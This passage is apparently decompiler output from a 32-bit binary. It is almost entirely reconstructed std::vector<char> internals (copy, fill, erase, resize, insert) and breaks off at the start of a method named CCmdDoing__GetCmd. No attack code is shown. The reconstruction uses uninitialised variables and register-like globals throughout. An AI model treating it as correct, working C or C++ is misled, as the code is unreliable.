int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x804ecaa memmove(a3, a1, v1); g95 = v1; return v1 + (int32_t)a3; } // Address range: 0x804fa1a - 0x804fa39 void std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x804fa1a std____copy_lt_true_comma__std__random_access_iterator_tag_gt___copy_lt_char_gt_(a1, a2, a3); } // Address range: 0x804fa3a - 0x804faa3 int32_t std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x804fa55 int32_t * v4; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x804faa6 - 0x804fae1 int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x804faa9 g101 = (int32_t)a1; int32_t * v2; std____copy_normal_lt_true_comma__true_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x804fad6 g101 = v1; return result; } // Address range: 0x804fae2 - 0x804fba5 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { // 0x804fae2 g98 = (int32_t)a1; int32_t v1 = (int32_t)a3; // 0x804faed g101 = v1; int32_t v2 = (int32_t)a2; // 0x804fafa int32_t * v3; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v3, v2); int32_t ** v4; std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v4, a4, v3, (int32_t *)g101); int32_t v5; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v5, a2); int32_t * v6; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v6, v2); std___Destroy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)v4); std__allocator_lt_char_gt_(); int32_t * v7 = (int32_t *)(v2 + 4); // 0x804fb75_0 int32_t v8 = __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a4, a3); // 0x804fb83 *v7 = *v7 - v8; *(int32_t *)g98 = v1; return g98; } // Address range: 0x804fba6 - 0x804fbf3 int32_t std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1) { // 0x804fba6 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) == 0) { // 0x804fbf2 return 0; } __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(a1, v1) != 0) { // 0x804fbb6 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a1); // continue -> 0x804fbb6 } // 0x804fbf2 return 0; } // Address range: 0x804fbf4 - 0x804fc15 int32_t std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t * a1, struct struct_6 * a2, char * a3) { // 0x804fbf4 std____fill_lt_true_gt___fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a1); return 0; } // Address range: 0x805106c - 0x8051089 void __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize(void) { // 0x805106c __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); abort(); // UNREACHABLE } // Address range: 0x805108a - 0x80510bd int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x805108d g101 = (int32_t)a1; int32_t ** v2; std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x80510b2 g101 = v1; return result; } // Address range: 0x80510be - 0x8051101 int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x80510c1 g101 = (int32_t)a1; int32_t ** v2; std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x80510f6 g101 = v1; return result; } // Address range: 0x8051102 - 0x8051135 int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g101; // 0x8051105 g101 = (int32_t)a1; int32_t ** v2; std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v2, a2, a3, a4); *(int32_t *)g101 = (int32_t)v2; int32_t result = g101; // 0x805112a g101 = v1; return result; } // Address range: 0x8051152 - 0x805118f int32_t std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = (int32_t)a2 - (int32_t)a1; // 0x8051160 int32_t v2 = (int32_t)a3; // 0x805116f int32_t result = v2 - v1; // 0x8051172 memmove((int32_t *)result, a1, v1); g95 = v2; return result; } // Address range: 0x8051190 - 0x80511af void std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8051190 std____copy_backward_lt_true_comma__std__random_access_iterator_tag_gt___copy_b_lt_char_gt_(a1, a2, a3); } // Address range: 0x80511b0 - 0x8051219 int32_t std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t result = (int32_t)a1; int32_t * v1; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v1); int32_t * v2; int32_t v3 = (int32_t)v2; // 0x80511cb int32_t * v4; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v4); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); std____copy_backward_aux_lt_char__ptr__comma__char__ptr__gt_(v2, (int32_t *)v3, (int32_t *)v3); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_((int32_t *)result, (int32_t *)g95); return result; } // Address range: 0x805121c - 0x8051257 int32_t std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { // 0x805121c g101 = (int32_t)a1; int32_t * v1; std____copy_backward_normal_lt_true_comma__true_gt___copy_b_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v1, a2); *(int32_t *)g101 = (int32_t)v1; return g101; } // Address range: 0x8051258 - 0x805127d int32_t std__fill_n_lt_unsigned_int_gt_(int32_t * a1, int32_t * a2, char * a3) { int32_t result = (int32_t)a2 + (int32_t)a1; // 0x8051261 std__fill(a1, (int32_t *)result, a3); return result; } // Address range: 0x805127e - 0x8051299 void std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x805127e std__fill_n_lt_unsigned_int_gt_(a1, a2, a3); } // Address range: 0x805129a - 0x80512bb int32_t std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x805129a std____uninitialized_fill_n_aux_lt_char__ptr__comma__unsigned_int_comma__char_gt_(a1, a2, a3); unsigned char v1; return g95 & -256 | (int32_t)v1; } // Address range: 0x80512bc - 0x80512d7 void std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x80512bc std__uninitialized_fill_n_lt_char__ptr__comma__unsigned_int_comma__char_gt_(a1, a2, a3); } // Address range: 0x80520aa - 0x80520c5 void std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80520aa std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x80520c6 - 0x80520e9 void std__copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80520c6 std____copy_normal_lt_false_comma__false_gt___copy_n_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x80520ea - 0x8052105 void std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80520ea std__copy_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x8052106 - 0x8052127 int32_t std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8052106 std____uninitialized_copy_aux_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3); unsigned char v1; return g95 & -256 | (int32_t)v1; } // Address range: 0x8052128 - 0x8052143 void std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8052128 std__uninitialized_copy_lt_char__ptr__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x8052144 - 0x8052181 int32_t std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2) { // 0x8052144 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a2); int32_t * v1; int32_t result = (int32_t)v1; // 0x805215a __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(a1); int32_t * v2; std____copy_aux_lt_char__ptr__comma__char__ptr__gt_(v1, (int32_t *)result, v2); return result; } // Address range: 0x8052182 - 0x80521a7 int32_t std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x8052182 return std____copy_normal_lt_true_comma__false_gt___copy_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2); } // Address range: 0x80521a8 - 0x80521c5 int32_t std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80521a8 return std__copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x80521c6 - 0x80521e9 int32_t std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80521c6 return std____uninitialized_copy_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x80521ea - 0x8052207 int32_t std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(int32_t * a1, int32_t * a2, int32_t * a3) { // 0x80521ea return std__uninitialized_copy_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__gt_(a1, a2, a3); } // Address range: 0x8052208 - 0x8052257 int32_t std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4) { // 0x8052208 if (a3 == NULL) { // 0x8052248 *a1 = a2; return (int32_t)a1; } __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a2); int32_t v1 = (int32_t)a3 - 1; // 0x8052231 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a2); while (v1 != 0) { // 0x8052218 __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_ptr_(a2); v1 = (int32_t)(int32_t *)v1 - 1; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__(a2); // continue -> 0x8052218 } // 0x8052248 *a1 = a2; return (int32_t)a1; } // Address range: 0x8052258 - 0x8052287 int32_t std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t ** a1, int32_t * a2, int32_t * a3, char * a4) { int32_t result = (int32_t)a1; int32_t ** v1; std____fill_n_lt_true_gt___fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(v1, a2, a3, a4); *(int32_t *)result = (int32_t)v1; return result; } // Address range: 0x805228a - 0x80522a7 int32_t std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x805228a int32_t ** v1; return std__fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(v1, a1, a2, a3); } // Address range: 0x80522a8 - 0x80522c9 int32_t std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x80522a8 return std____uninitialized_fill_n_aux_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(a1, a2, a3); } // Address range: 0x80522ca - 0x80522e7 int32_t std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_(int32_t * a1, int32_t * a2, char * a3) { // 0x80522ca return std__uninitialized_fill_n_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_gt_(a1, a2, a3); } // Address range: 0x80522e8 - 0x805277b int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4) { int32_t v1 = (int32_t)a3; // 0x80522f3 if (a3 == NULL) { // 0x8052775 return 0; } int32_t v2 = (int32_t)a1->e2 - (int32_t)a1->e1; // 0x805230b g96 = v2; if (v2 >= v1) { char * v3 = (char *)(int32_t)*a4; // 0x8052321_0 int32_t * v4; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v4, (int32_t)a1); int32_t v5 = __gnu_cxx__operator__lt_char__ptr__comma__char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v4, a2); // 0x8052347 int32_t * v6; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v6, (int32_t *)((int32_t)a1 + 4)); if ((int32_t *)v5 > a3) { // 0x8052374 int32_t v7; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v7, (int32_t *)a1); int32_t * v8 = a1->e1; // 0x805238a int32_t * v9 = a1->e1; // 0x8052390 int32_t * v10 = a1->e1; // 0x8052396 g95 = v1; std____uninitialized_copy_a_lt_char__ptr__comma__char__ptr__comma__char_gt_((int32_t *)((int32_t)v10 - v1), v9, v8); std__allocator_lt_char_gt_(); a1->e1 = (int32_t *)((int32_t)a1->e1 + v1); g98 = (int32_t)v6; int32_t * v11; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__65(v11, (int32_t **)v6, a3); int32_t ** v12; std__copy_backward_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___gt_(v12, a2, v11, (int32_t *)g98); int32_t * v13; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v13, a2, a3); std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a2, (struct struct_6 *)v13, v3); // branch -> 0x8052775 } else { // 0x8052445 int32_t v14; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v14, (int32_t *)a1); int32_t v15 = v1 - v5; // 0x805245d g95 = (int32_t)a1; int32_t * v16 = a1->e1; // 0x8052463 std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_(v16, (int32_t *)v15, v3); std__allocator_lt_char_gt_(); a1->e1 = (int32_t *)((int32_t)a1->e1 + v15); int32_t v17; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v17, (int32_t *)a1); int32_t * v18 = a1->e1; // 0x80524b1 g96 = (int32_t)v6; g98 = (int32_t)a2; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char__ptr__comma__char_gt_(a2, v6, v18); std__allocator_lt_char_gt_(); a1->e1 = (int32_t *)((int32_t)a1->e1 + v5); std__fill_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(a2, (struct struct_6 *)v6, v3); // branch -> 0x8052775 } // 0x8052775 return 0; } uint32_t v19 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&a1->e0); // 0x805250b std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(); if (((int32_t)(-1 - v19 < v1) || v1 & -256) != 0) { // 0x8052537 int32_t * v20; int32_t * v21; std____throw_length_error("vector::_M_fill_insert", (int32_t)v21, (int32_t)v20, (int32_t)NULL); // branch -> 0x8052544 } // 0x8052544 std__max_lt_unsigned_int_gt_((int32_t *)v19, a3); int32_t * v22; int32_t v23 = (int32_t)v22; // 0x8052557 uint32_t v24 = v19 + v23; // 0x805255c int32_t * v25 = (int32_t *)v24; // 0x805276a_02 if (v24 < v19) { // 0x805256a std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___max_size(); v25 = (int32_t *)-1; // branch -> 0x805257b } // 0x805257b int32_t * v26; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt_(v26, (int32_t *)std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_allocate((int32_t *)a1, v25)); int32_t v27; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v27, (int32_t *)a1); g98 = (int32_t)v26; g101 = (int32_t)a2; int32_t * v28; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v28, (int32_t *)a1); int32_t ** v29; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(v29, v28, (int32_t *)g101, (int32_t *)g98); std__allocator_lt_char_gt_(); int32_t v30; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v30, (int32_t *)a1); g97 = v1; std____uninitialized_fill_n_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v29, a3, a4); std__allocator_lt_char_gt_(); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator__eq_((int32_t *)v29, a3); int32_t v31; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v31, (int32_t *)a1); g98 = (int32_t)v29; int32_t * v32; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v32, (int32_t)a1); int32_t ** v33; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt__comma__char_gt_(v33, a2, v32, (int32_t *)g98); std__allocator_lt_char_gt_(); int32_t v34; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v34, (int32_t *)a1); int32_t * v35 = a1->e1; // 0x80526d9 int32_t v36 = *(int32_t *)a1; // 0x80526df std___Destroy_lt_char__ptr__comma__std__allocator_lt_char_gt___gt_((int32_t *)v36, v35, v34); std__allocator_lt_char_gt_(); int32_t v37 = (int32_t)a1->e2 - *(int32_t *)a1; // 0x8052710 int32_t v38 = *(int32_t *)a1; // 0x8052719 std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v38, (int32_t *)v37); __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v26); a1->e0 = v22; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base((int32_t *)v33); a1->e1 = v22; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___base(v26); int32_t result = (int32_t)a1; // 0x8052772 *(int32_t *)(result + 8) = (int32_t)v25 + v23; // branch -> 0x8052775 // 0x8052775 return result; } // Address range: 0x805277c - 0x8052799 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert(struct struct_12 * a1, int32_t * a2, int32_t * a3, char * a4) { // 0x805277c return std__vector_lt_char_comma__std__allocator_lt_char_gt___gt____M_fill_insert(a1, a2, a3, a4); } // Address range: 0x805279a - 0x8052869 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(int32_t ** a1, int32_t * a2, int32_t * a3) { int32_t v1 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(a1); // 0x80527a7 int32_t result; // 0x8052868_22 if (((int32_t)((int32_t *)v1 <= a2) || v1 & -256) == 1) { // 0x8052823 g98 = (int32_t)a2 - std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(a1); int32_t * v2; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v2, (int32_t)a1); result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___insert((struct struct_12 *)a1, v2, (int32_t *)g98, (char *)a3); // branch -> 0x8052864 } else { // 0x80527b9 int32_t * v3; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___end_18(v3, (int32_t)a1); int32_t * v4; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___begin_17(v4, (int32_t *)a1); int32_t * v5; __gnu_cxx____normal_iterator_lt_char__ptr__comma__std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___gt___operator_(v5, v4, a2); int32_t ** v6; result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___erase(v6, (int32_t *)a1, v5, v3); // branch -> 0x8052864 } // 0x8052864 return result; } // Address range: 0x805286a - 0x805288b void std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize_70(int32_t ** a1, int32_t * a2) { // 0x805286a std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___resize(a1, a2, &g2->e0); } // Address range: 0x8052bde - 0x8052c4b int32_t CCmdDoing__GetCmd(int32_t * a1, int32_t a2) { int32_t v1; CAutoLock_492((struct struct_68 *)&v1, a2 + 20, 1); 